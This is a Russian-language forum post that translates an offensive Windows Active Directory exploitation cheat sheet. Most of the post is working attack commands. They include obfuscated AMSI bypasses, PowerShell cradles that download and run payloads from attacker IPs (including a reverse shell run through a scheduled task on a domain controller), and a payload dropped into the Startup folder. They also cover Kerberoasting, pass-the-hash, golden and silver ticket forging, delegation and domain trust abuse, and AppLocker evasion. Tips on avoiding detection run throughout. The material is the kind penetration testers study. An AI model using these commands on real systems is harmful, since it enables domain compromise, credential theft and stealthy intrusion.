Статья Памятка по эксплуатации Windows AD и справочник по командам

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Обход PowerShell AMSI

Исправление интерфейса сканирования на наличие вредоносного ПО (AMSI) поможет обойти предупреждения AV, срабатывающие при выполнении сценариев PowerShell (или другого содержимого с поддержкой AMSI, например JScript), помеченного как вредоносное. Не используйте это "как есть" в секретных операциях, так как они будут опознаваться. Обфусцируйте или, что еще лучше, полностью устраните необходимость в обходе AMSI, изменив свои сценарии так, чтобы они превзошли обнаружение на основе сигнатур.

Пример "простого" обхода AMSI:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Пример обфускации для целей копирования и вставки:

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )

Еще один обходной путь, который не обнаруживается автологированием PowerShell:

[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)


Здесь больше обходных путей (https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell). Для запутывания проверьте Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation) или получите специально сгенерированную запутанную версию на amsi.fail (https://amsi.fail/).


PowerShell Ван-Лайнер

Рефлективно загружать скрипт PowerShell


Поддерживать прокси:

IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')

Не поддерживает прокси:

$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText

Опять же, это, скорее всего, будет опознваться. Для безопасных загрузочных крадлеров ознакомьтесь с Invoke-CradleCrafter (https://github.com/danielbohannon/Invoke-CradleCrafter).

Рефлективно загружать сборку C#

Перед запуском убедитесь, что указанный класс и основные методы общедоступны. Обратите внимание, что для этого может потребоваться обход AMSI на уровне процесса, если содержимое обнаружено. Подробности см. здесь (https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/).

# Download and run assembly without arguments
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main()

# Download and run Rubeus, with arguments (make sure to split the args)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/Rubeus.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Rubeus.Program]::Main("s4u /user:web01$ /rc4:1d77f43d9604e79e5626c6905705801e /impersonateuser:administrator /msdsspn:cifs/file01 /ptt".Split())

# Execute a specific method from an assembly (e.g. a DLL)
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.16.7/lib.dll')
$assem = [System.Reflection.Assembly]::Load($data)
$class = $assem.GetType("ClassLibrary1.Class1")
$method = $class.GetMethod("runner")
$method.Invoke(0, $null)

Загрузить файл

# Any version
(New-Object System.Net.WebClient).DownloadFile("http://192.168.119.155/PowerUp.ps1", "C:\Windows\Temp\PowerUp.ps1")

# Powershell 4+
## You can use 'IWR' as a shorthand
Invoke-WebRequest "http://10.10.16.7/Rev.exe" -OutFile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Rev.exe"

Закодироват команды

Base64-кодирует команду PowerShell в правильном формате:

$command = 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::toBase64String($bytes)

Или версия Linux:

echo 'IEX (New-Object Net.WebClient).DownloadString("http://172.16.100.55/Invoke-PowerShellTcpRun.ps1")' | iconv -t utf-16le | base64 -w 0

Закодировать существующий скрипт, скопировать в буфер обмена:

[System.Convert]::toBase64String([System.IO.File]::ReadAllBytes('c:\path\to\PowerView.ps1')) | clip

Запустите его, минуя политику выполнения.

Powershell -EncodedCommand $encodedCommand

Если у вас есть под рукой Nishang, вы можете использовать Invoke-Encode.ps1 (https://github.com/samratashok/nishang/blob/master/Utility/Invoke-Encode.ps1).

Перечисление

Перечисление AD с помощью PowerView


Хотя приведенные ниже инструкции дают хорошее представление команд, которые обычно наиболее полезны для меня, это лишь малая часть того, что может сделать PowerView. PowerView доступен здесь (https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1).

# Get all users in the current domain
Get-DomainUser | select -ExpandProperty cn

# Get all computers in the current domain
Get-DomainComputer

# Get all domains in current forest
Get-ForestDomain

# Get domain/forest trusts
Get-DomainTrust
Get-ForestTrust

# Get information for the DA group
Get-DomainGroup "Domain Admins"

# Find members of the DA group
Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername

# Find interesting shares in the domain, ignore default shares, and check access
Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess

# Get OUs for current domain
Get-DomainOU -FullData

# Get computers in an OU
# %{} is a looping statement
Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname

# Get GPOs applied to a specific OU
Get-DomainOU *WS* | select gplink
Get-DomainGPO -Name "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"

# Get Restricted Groups set via GPOs, look for interesting group memberships forced via domain
Get-DomainGPOLocalGroup -ResolveMembersToSIDs | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers

# Get the computers where users are part of a local group through a GPO restricted group
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName

# Find principals that can create new GPOs in the domain
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=targetdomain,DC=com" -ResolveGUIDs | ?{ $_.ObjectAceType -eq "Group-Policy-Container" } | select ObjectDN, ActiveDirectoryRights, SecurityIdentifier

# Find principals that can link GPOs to OUs
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "WriteProperty" } | select ObjectDN, SecurityIdentifier

# Get incoming ACL for a specific object
Get-DomainObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | Select IdentityReference,ActiveDirectoryRights

# Find interesting ACLs for the entire domain, show in a readable (left-to-right) format
Find-InterestingDomainAcl | select identityreferencename,activedirectoryrights,acetype,objectdn | ?{$_.IdentityReferenceName -NotContains "DnsAdmins"} | ft

# Get interesting outgoing ACLs for a specific user or group
# ?{} is a filter statement
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "Domain Admins"} | select ObjectDN,ActiveDirectoryRights

AppLocker

Определите локальную политику AppLocker. Ищите освобожденные двоичные файлы или пути для обхода.

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

Получите удаленную политику AppLocker на основе отличительного имени соответствующей групповой политики (вы можете определить это, например, в BloodHound).

Get-AppLockerPolicy -Domain -LDAP "LDAP://targetdomain.com/CN={16641EA1-8DD3-4B33-A17F-9F259805B8FF},CN=Policies,CN=System,DC=targetdomain,DC=com" | select -expandproperty RuleCollections

Некоторые методы обхода :

- Используйте LOLBAS (https://lolbas-project.github.io/), если разрешены только (Microsoft-) подписанные двоичные файлы.

- Если разрешены двоичные файлы из C:\Windows (поведение по умолчанию), попробуйте переместить двоичные файлы в C:\Windows\Temp или C:\Windows\Tasks. Если в этом дереве каталогов нет доступных для записи подкаталогов, но в этом дереве каталогов существуют доступные для записи файлы, запишите файл в альтернативный поток данных (например, сценарий JScript) и выполните его оттуда.

- Оберните ваши двоичные файлы в файл DLL и запустите их с помощью rundll32, чтобы обойти исполняемые правила, если выполнение DLL не принудительно (поведение по умолчанию).

- Если разрешены двоичные файлы, такие как Python, используйте их. Если это не сработает, попробуйте другие методы, такие как перенос JScript в HTA-файл или запуск XSL-файлов с помощью wmic.

- В противном случае повысьте свои привилегии. Правила AppLocker чаще всего не применяются для (локальных) пользователей-администраторов.

Ограниченный языковой режим PowerShell

Иногда вы можете обнаружить, что находитесь в сеансе PowerShell, в котором применяется ограниченный языковой режим (CLM). Это часто бывает, когда вы работаете в среде, в которой применяется AppLocker (см. выше).

Вы можете определить, что находитесь в ограниченном языковом режиме, опросив следующую переменную, чтобы получить текущий языковой режим. Будет указано FullLanguage для неограниченного сеанса и ConstrainedLanguage для CLM. Есть и другие языковые режимы, которые я не буду здесь рассматривать.

$ExecutionContext.SessionState.LanguageMode

Ограничения, налагаемые CLM, заблокируют многие ваши попытки эксплуатации, поскольку ключевые функции в PowerShell заблокированы. Обход CLM во многом аналогичен обходу AppLocker, как обсуждалось выше. Другой способ обойти CLM — обойти AppLocker для выполнения двоичных файлов, которые выполняют пользовательское пространство выполнения PowerShell (например, Stracciatella( https://github.com/mgeeky/Stracciatella)), которое не будет ограничено.

Другой быстрый и грязный способ обхода — использование встроенных функций, которые иногда работают. Если, например whoami заблокирован, попробуйте следующее:

&{whoami}
LAPS

Решение для локального административного пароля (LAPS) — это продукт Microsoft для управления паролями локальных администраторов в контексте домена Active Directory. Он часто создает надежные и уникальные пароли для локальных администраторов зарегистрированных компьютеров. Это свойство пароля и срок его действия затем записываются в объект компьютера в Active Directory. Доступ для чтения к паролям LAPS по умолчанию предоставляется только администраторам домена, но часто делегируется специальным группам.

Разрешение ReadLAPSPassword предоставляет пользователям или группам возможность читать свойство ms-Mcs-AdmPwd и, таким образом, получать пароль локального администратора. Вы можете найти это свойство, используя, например BloodHound или PowerView. Мы также можем использовать PowerView для чтения пароля, если мы знаем, что у нас есть правильная привилегия ReadLAPSPassword для машины.

Get-DomainComputer -identity LAPS-COMPUTER -properties ms-Mcs-AdmPwd

Мы также можем использовать LAPSToolkit.ps1 (https://github.com/leoloobeek/LAPSToolkit/blob/master/LAPSToolkit.ps1), чтобы определить, какие машины в домене используют LAPS и каким принципалам разрешено читать пароли LAPS. Если мы находимся в этой группе, мы также можем получить текущие пароли LAPS с помощью этого инструмента.

# Get computers running LAPS, along with their passwords if we're allowed to read those
Get-LAPSComputers

# Get groups allowed to read LAPS passwords
Find-LAPSDelegatedGroups

Боковое передвижение

Перечисление боковых перемещений с помощью PowerView


# Find existing local admin access for user (noisy 🚩)
Find-LocalAdminAccess

# Hunt for sessions of interesting users on machines where you have access (also noisy 🚩)
Find-DomainUserLocation -CheckAccess | ?{$_.LocalAdmin -Eq True }

# Look for kerberoastable users
Get-DomainUser -SPN | select name,serviceprincipalname

# Look for AS-REP roastable users
Get-DomainUser -PreauthNotRequired | select name

# Look for interesting ACL within the domain, filtering on a specific user or group you have compromised
## Exploitation depends on the identified ACL, some techniques are discussed in this cheat sheet
## Example for GenericWrite on user: Disable preauth or add SPN for targeted kerberoast (see below)
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "UserOrGroupToQuery"}

# Look for servers with Unconstrained Delegation enabled
## If available and you have admin privs on this server, get user TGT (see below)
Get-DomainComputer -Unconstrained

# Look for users or computers with Constrained Delegation enabled
## If available and you have user/computer hash, access service machine as DA (see below)
Get-DomainUser -TrustedToAuth | select userprincipalname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

BloodHound


Используйте Invoke-BloodHound из SharpHound.ps1 или используйте SharpHound.exe. Оба могут быть запущены рефлексивно, получите их здесь (https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors). В приведенных ниже примерах используется вариант PowerShell, но аргументы идентичны.

# Run all checks, including restricted groups enforced through the domain 🚩
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup

# Running LoggedOn separately sometimes gives you more sessions, but enumerates by looping through hosts so is VERY noisy 🚩
Invoke-BloodHound -CollectionMethod LoggedOn

Для реальных столкновений обязательно рассмотрите различные аргументы (https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html), которые BloodHound предоставляет для более скрытного сбора и кражи данных.

Kerberoasting

Автоматический

С PowerView:

Get-DomainSPNTicket -SPN "MSSQLSvc/sqlserver.targetdomain.com"

Взломайте хэш с помощью Hashcat:

hashcat -a 0 -m 13100 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Ручной способ

# Request TGS for kerberoastable account (SPN)
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sqlserver.targetdomain.com"

# Dump TGS to disk
Invoke-Mimikatz -Command '"kerberos::list /export"'

# Crack with TGSRepCrack
python.exe .\tgsrepcrack.py .\10k-worst-pass.txt .\mssqlsvc.kirbi

Целевой kerberoasting путем установки имени участника-службы

Нам нужны права на запись ACL, чтобы установить флаги UserAccountControl для целевого пользователя, см. выше для идентификации интересных ACL. Использование PowerView:

Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='any/thing'}

AS-REP роастинг

Получите хеш для пользователя, который можно обработать. Использование ASREPROast.ps1:

Set-DomainObject -Identity TargetUser -Set @{serviceprincipalname='any/thing'}

Взломайте хэш с помощью Hashcat:

hashcat -a 0 -m 18200 hash.txt `pwd`/rockyou.txt --rules-file `pwd`/hashcat/rules/best64.rule

Целевая обработка AS-REP путем отключения предварительной аутентификации Kerberos.

Опять же, нам нужны разрешения на запись ACL, чтобы установить флаги UserAccountControl для целевого пользователя. Использование PowerView:

Set-DomainObject -Identity TargetUser -XOR @{useraccountcontrol=4194304}

Манипуляции с токенами

Токены могут быть олицетворены другими пользователями с сеансом/запущенными процессами на машине. В большинстве фреймворков C2 есть встроенные функции для этого (например, функция Steal Token в Cobalt Strike).

Инкогнито

# Show tokens on the machine
.\incognito.exe list_tokens -u

# Start new process with token of a specific user
.\incognito.exe execute -c "domain\user" C:\Windows\system32\calc.exe

Если вы используете Meterpreter, вы можете использовать встроенный модуль Incognito с использованием инкогнито, доступны те же команды.

Invoke-TokenManipulation

# Show all tokens on the machine
Invoke-TokenManipulation -ShowAll

# Show only unique, usable tokens on the machine
Invoke-TokenManipulation -Enumerate

# Start new process with token of a specific user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\user"

# Start new process with token of another process
Invoke-TokenManipulation -CreateProcess "C:\Windows\system32\calc.exe" -ProcessId 500

Боковое передвижение с Rubeus

Мы можем использовать Rubeus для выполнения техники под названием "Overpass-the-Hash". В этом методе вместо прямой передачи хэша (другой метод, известный как Pass-the-Hash) мы используем NTLM-хэш учетной записи для запроса действительного билета Kerberost (TGT). Затем мы можем использовать этот билет для аутентификации в домене в качестве целевого пользователя.

# Request a TGT as the target user and pass it into the current session
# NOTE: Make sure to clear tickets in the current session (with 'klist purge') to ensure you don't have multiple active TGTs
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /ptt

# More stealthy variant, but requires the AES256 key (see 'Dumping OS credentials with Mimikatz' section)
.\Rubeus.exe asktgt /user:Administrator /aes256:[AES256KEY] /opsec /ptt

# Pass the ticket to a sacrificial hidden process, allowing you to e.g. steal the token from this process (requires elevation)
.\Rubeus.exe asktgt /user:Administrator /rc4:[NTLMHASH] /createnetonly:C:\Windows\System32\cmd.exe

Когда у нас есть TGT в качестве целевого пользователя, мы можем использовать службы в качестве этого пользователя в контексте домена, что позволяет нам перемещаться в горизонтальном направлении.

Боковое передвижение с Mimikatz

Обратите внимание, что Mimikatz невероятно универсален и обсуждается в нескольких разделах этого блога. Однако из-за этого двоичный файл также очень хорошо обнаруживается. Если вам нужно запустить Mimikatz на вашей цели (не рекомендуется), лучшим выбором будет выполнение пользовательской версии с отражением. Есть также такие варианты, как Invoke-MimiKatz (https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1) или Safetykatz (https://github.com/GhostPack/SafetyKatz). Обратите внимание, что последний более незаметен, но не включает в себя все функции.

# Overpass-the-hash (more risky than Rubeus, writes to LSASS memory)
sekurlsa::pth /user:Administrator /domain:targetdomain.com /ntlm:[NTLMHASH] /run:powershell.exe

# Or, a more opsec-safe version that uses the AES256 key (similar to with Rubeus above) - works for multiple Mimikatz commands
sekurlsa::pth /user:Administrator /domain:targetdomain.com /aes256:[AES256KEY] /run:powershell.exe

# Golden ticket (domain admin, w/ some ticket properties to avoid detection)
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /krbtgt:[KRBTGTHASH] /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

# Silver ticket for a specific SPN with a compromised service / machine account
kerberos::golden /user:Administrator /domain:targetdomain.com /sid:S-1-5-21-[DOMAINSID] /rc4:[MACHINEACCOUNTHASH] /target:dc.targetdomain.com /service:HOST /id:500 /groups:513,512,520,518,519 /startoffset:0 /endin:600 /renewmax:10080 /ptt

Здесь (прокрутите вниз)( https://adsecurity.org/?p=2011) и здесь (https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#pass-the-ticket-silver-tickets) представлен хороший обзор имен участников-служб, используемых в наступательных целях.

Выполнение команды с запланированными задачами

Требуется SPN "Хост"

Чтобы создать задачу:

# Mind the quotes. Use encoded commands if quoting becomes too much of a pain
schtasks /create /tn "shell" /ru "NT Authority\SYSTEM" /s dc.targetdomain.com /sc weekly /tr "Powershell.exe -c 'IEX (New-Object Net.WebClient).DownloadString(''http://172.16.100.55/Invoke-PowerShellTcpRun.ps1''')'"

Чтобы запустить задачу:

schtasks /RUN /TN "shell" /s dc.targetdomain.com

Выполнение команд с помощью WMI

Требуются и SPN "Host" и "RPCSS"

Из Windows


Invoke-WmiMethod win32_process -ComputerName dc.targetdomain.com -name create -argumentlist "powershell.exe -e $encodedCommand"


Из Linux

# with password
impacket-wmiexec DOMAIN/targetuser:password@172.16.4.101

# with hash
impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -hashes :e0e223d63905f5a7796fb1006e7dc594

# with Kerberos authentication (make sure your client is setup to use the right ticket, and that you have a TGS with the right SPNs)
impacket-wmiexec DOMAIN/targetuser@172.16.4.101 -no-pass -k

Выполнение команд с помощью PowerShell Remoting

Требуются SPN "CIFS" и "HTTP". Также могут потребоваться имена участников-служб "WSMAN" или "RPCSS" (в зависимости от версии ОС).

# Create credential to run as another user (not needed after e.g. Overpass-the-Hash)
# Leave out -Credential $Cred in the below commands to run as the current user instead
$SecPassword = ConvertTo-SecureString 'VictimUserPassword' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\targetuser', $SecPassword)

# Run a command remotely (can be used on multiple machines at once)
Invoke-Command -Credential $Cred -ComputerName dc.targetdomain.com -ScriptBlock {whoami; hostname}

# Launch a session as another user (prompt for password instead, for use with e.g. RDP)
Enter-PsSession -ComputerName dc.targetdomain.com -Credential DOMAIN/targetuser

# Create a persistent session (will remember variables etc.), load a script into said session, and enter a remote session prompt
$sess = New-PsSession -Credential $Cred -ComputerName dc.targetdomain.com
Invoke-Command -Session $sess -FilePath c:\path\to\file.ps1
Enter-PsSession -Session $sess

# Copy files to or from an active PowerShell remoting session
Copy-Item -Path .\Invoke-Mimikatz.ps1 -ToSession $sess -Destination "C:\Users\public\"

Неограниченное делегирование

Неограниченное делегирование можно настроить для внешней службы (например, веб-сервера IIS), чтобы позволить ей делегировать от имени пользователя любую службу в домене (в сторону внутренней службы, такой как база данных MSSQL).

Свойство DACL UAC: TrustedForDelegation.

Эксплуатация

Имея административные привилегии на сервере с установленным Unconstrained Delegation, мы можем создавать дамп TGT для других пользователей, у которых есть подключение. Если мы сделаем это успешно, мы сможем выдать себя за пользователя-жертву по отношению к любой службе в домене.

С Mimikatz:

sekurlsa::tickets /export
kerberos::ptt c:\path\to\ticket.kirbi

Или с Rubeus:

.\Rubeus.exe triage
.\Rubeus.exe dump /luid:0x5379f2 /nowrap
.\Rubeus.exe ptt /ticket:doIFSDCC[...]

Мы также можем получить хэш для учетной записи компьютера контроллера домена, если этот контроллер домена уязвим для ошибки принтера. Если мы сделаем это успешно, мы можем DCSync контроллера домена (см. ниже), чтобы полностью скомпрометировать текущий домен.

На сервере с неограниченным делегированием следите за новыми заявками с помощью Rubeus.

.\Rubeus.exe monitor /interval:5 /nowrap

С атакующей машины побудите контроллер домена подключиться, используя ошибку принтера. Файл можно забрать отсюда (https://github.com/leechristensen/SpoolSample).

.\MS-RPRN.exe \\dc.targetdomain.com \\unconstrained-server.targetdomain.com

TGT для учетной записи компьютера контроллера домена должен войти в первый сеанс. Мы можем передать этот билет в нашу текущую сессию, чтобы получить привилегии DCSync (см. ниже).

.\Rubeus.exe ptt /ticket:doIFxTCCBc...

Ограниченное делегирование

Ограниченное делегирование может быть установлено на внешнем сервере (например, IIS), чтобы разрешить делегирование только выбранным внутренним службам (например, MSSQL) от имени пользователя.

Свойство DACL UAC: TrustedToAuthForDelegation. Оно позволяет использовать s4u2self, т.е. запрашивать TGS от имени кого-либо для себя, используя только хэш пароля NTLM. Это эффективно позволяет службе выдавать себя за других пользователей в домене, используя только их хэш, и полезно в ситуациях, когда Kerberos не используется между пользователем и внешним интерфейсом.

Свойство DACL: msDS-AllowedToDelegateTo. Это свойство содержит имена участников-служб, на которых разрешено использовать s4u2proxy, т. е. запрос TGS с возможностью переадресации для этого сервера на основе существующего TGS (часто полученного при использовании s4u2self). Это эффективно определяет серверные службы, для которых разрешено ограниченное делегирование.

ПРИМЕЧАНИЕ. Эти свойства НЕ обязательно должны существовать вместе!

Если s4u2proxy разрешен без s4u2self, требуется взаимодействие с пользователем, чтобы получить действительный TGS для службы внешнего интерфейса от пользователя, аналогично неограниченному делегированию.

Эксплуатация

В этом случае мы используем Rubeus для автоматического запроса TGT, а затем TGS с ldap SPN, чтобы позволить нам DCSync с использованием учетной записи компьютера.

# Get a TGT using the compromised service account with delegation set (not needed if you already have an active session or token as this user)
.\Rubeus.exe asktgt /user:svc_with_delegation /domain:targetdomain.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

# Use s4u2self and s4u2proxy to impersonate the DA user to the allowed SPN
.\Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:Administrator /msdsspn:time/dc /ptt

# Same as the two above steps, but access the LDAP service on the DC instead (for dcsync)
.\Rubeus.exe s4u /user:sa_with_delegation /impersonateuser:Administrator /msdsspn:time/dc /altservice:ldap /ptt /rc4:2892D26CDF84D7A70E2EB3B9F05C425E

Ограниченное делегирование на основе ресурсов

Ограниченное делегирование на основе ресурсов (RBCD) настраивает внутренний сервер (например, MSSQL), чтобы разрешить делегирование от имени пользователя только выбранным внешним службам (например, IIS). Это упрощает настройку делегирования для конкретных администраторов серверов, не требуя прав администратора домена.

Свойство DACL: msDS-AllowedToActOnBehalfOfOtherIdentity.

В этом сценарии s4u2self и s4u2proxy используются, как указано выше, для запроса пересылаемого билета от имени пользователя. Однако при использовании RBCD KDC проверяет, присутствует ли SPN для запрашивающей службы (т. е. внешней службы) в свойстве msDS-AllowedToActOnBehalfOfOtherIdentity внутренней службы. Это означает, что для внешней службы необходимо установить имя участника-службы. Таким образом, атаки на RBCD должны выполняться либо из служебной учетной записи с SPN, либо из учетной записи компьютера.

Эксплуатация

Если мы скомпрометируем внешнюю службу, которая отображается в свойстве RBCD внутренней службы, эксплуатация будет такой же, как и в случае с ограниченным делегированием выше. Однако это не слишком распространено.

Более частая атака на RBCD — это когда у нас есть разрешения GenericWrite, GenericAll, WriteProperty или WriteDACL для объекта компьютера в домене. Это означает, что мы можем написать свойство msDS-AllowedToActOnBehalfOfOtherIdentity для этой учетной записи компьютера, чтобы добавить контролируемое имя участника-службы или учетную запись компьютера, которым можно доверять для делегирования. Мы даже можем создать новую учетную запись компьютера и добавить ее. Это позволяет нам скомпрометировать целевую машину в контексте любого пользователя, как при ограниченном делегировании.

# Create a new machine account using PowerMad
New-MachineAccount -MachineAccount NewMachine -Password $(ConvertTo-SecureString 'P4ssword123!' -AsPlainText -Force)

# Get SID of our machine account and bake raw security descriptor for msDS-AllowedtoActOnBehalfOfOtherIdentity property on target
$sid = Get-DomainComputer -Identity NewMachine -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)

# Use PowerView to use our GenericWrite (or similar) priv to apply this SD to the target
Get-DomainComputer -Identity TargetSrv | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Finally, use Rubeus to exploit RBCD to get a TGS as admin on the target
.\Rubeus.exe s4u /user:NewMachine$ /rc4:A9A70FD4DF48FBFAB37E257CFA953312 /impersonateuser:Administrator /msdsspn:CIFS/TargetSrv.targetdomain.com /ptt

Злоупотребление доверием к домену

Все команды должны выполняться с привилегиями DA в текущем домене.

Обратите внимание, что если вы полностью скомпрометировали дочерний домен (currentdomain.targetdomain.com), вы по определению можете также скомпрометировать родительский домен (targetdomain.com) из-за неявных доверительных отношений. То же самое относится к любым доверительным отношениям, в которых отключена фильтрация SID (см. "Злоупотребление доверием между лесами" ниже (https://casvancooten.com/posts/2020...command-reference/#abusing-inter-forest-trust)).

Использование ключа доверия домена

Из контроллера домена создайте дамп хэша доверенной учетной записи currentdomain\targetdomain$ с помощью Mimikatz (например, с помощью LSADump или DCSync). Затем, используя этот ключ доверия и SID домена, создайте TGT между областями с помощью Mimikatz, добавив SID для группы корпоративных администраторов целевого домена в нашу "history SID".

kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:e4e47c8fc433c9e0f3b17ea74856ca6b /user:Administrator /service:krbtgt /target:targetdomain.com /ticket:c:\users\public\ticket.kirbi

Передайте этот билет с Rubeus.

.\Rubeus.exe asktgs /ticket:c:\users\public\ticket.kirbi /service:LDAP/dc.targetdomain.com /dc:dc.targetdomain.com /ptt

Теперь мы можем DCSync целевого домена (см. ниже).

Использование хэша krbtgt

Из DC выгрузите хэш krbtgt, используя, например, DCSync или LSADump. Затем, используя этот хэш, подделайте TGT между областями, используя Mimikatz, как и в предыдущем методе.

Для этого требуется SID текущего домена в качестве параметра /sid и SID целевого домена в качестве части параметра /sids. Вы можете получить их, используя Get-DomainSID PowerView. Используйте историю SID (/sids) *-516 и S-1-5-9, чтобы замаскироваться под группу контроллеров домена и контроллеров домена предприятия соответственно, чтобы не создавать шума в журналах.

kerberos::golden /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-516,S-1-5-9 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /user:DC$ /groups:516 /ptt

Если у вас возникли проблемы с созданием этого тикета, попробуйте добавить флаг "цель", например /target:targetdomain.com.

В качестве альтернативы создайте билет администратора домена с историей SID группы администраторов предприятия в целевом домене.

kerberos::golden /user:Administrator /domain:currentdomain.targetdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /sids:S-1-5-21-280534878-1496970234-700767426-519 /ptt

Теперь мы можем немедленно DCSync целевого домена или получить обратную оболочку, используя, например, запланированные задачи.

Злоупотребление доверием между лесами

Поскольку лес является границей безопасности, мы можем получить доступ только к службам домена, которые были совместно использованы с доменом, который мы скомпрометировали (наш исходный домен). Используйте, например. BloodHound для поиска пользователей, у которых есть учетная запись (с одинаковым именем пользователя) в обоих лесах, и повторного использования пароля. Кроме того, мы можем использовать BloodHound или PowerView для поиска членства в чужих группах между лесами. Команда Power View:

Get-DomainForeignGroupMember -domain targetdomain.com

В некоторых случаях возможно, что фильтрация SID (защита, вызывающая вышеуказанное) отключена между лесами. Если вы запустите Get-DomainTrust и увидите свойство TREAT_AS_EXTERNAL, это так! В этом случае вы можете злоупотреблять доверием леса, как доверием домена, как описано выше. Обратите внимание, что вы по-прежнему НЕ можете подделать билет для любого SID от 500 до 1000, поэтому вы не можете стать DA (даже косвенно через групповое наследование). В этом случае ищите группы, которые предоставляют, например локальный администратор на контроллере домена или аналогичные привилегии, не относящиеся к домену. Для получения дополнительной информации обратитесь к этому сообщению в блоге (https://dirkjanm.io/active-directory-forest-trusts-part-one-how-does-sid-filtering-work/) .

Чтобы олицетворять пользователя из нашего исходного домена для доступа к службам в чужом домене, мы можем сделать следующее. Извлеките ключ доверия между лесами, как в разделе "Использование ключа доверия домена" выше (https://casvancooten.com/posts/2020...and-command-reference/#using-domain-trust-key) .

Используйте Mimikatz для создания TGT для целевого домена с использованием ключа доверия:

Kerberos::golden /user:Administrator /service:krbtgt /domain:currentdomain.com /sid:S-1-5-21-1874506631-3219952063-538504511 /target:targetdomain.com /rc4:fe8884bf222153ca57468996c9b348e9 /ticket:ticket.kirbi

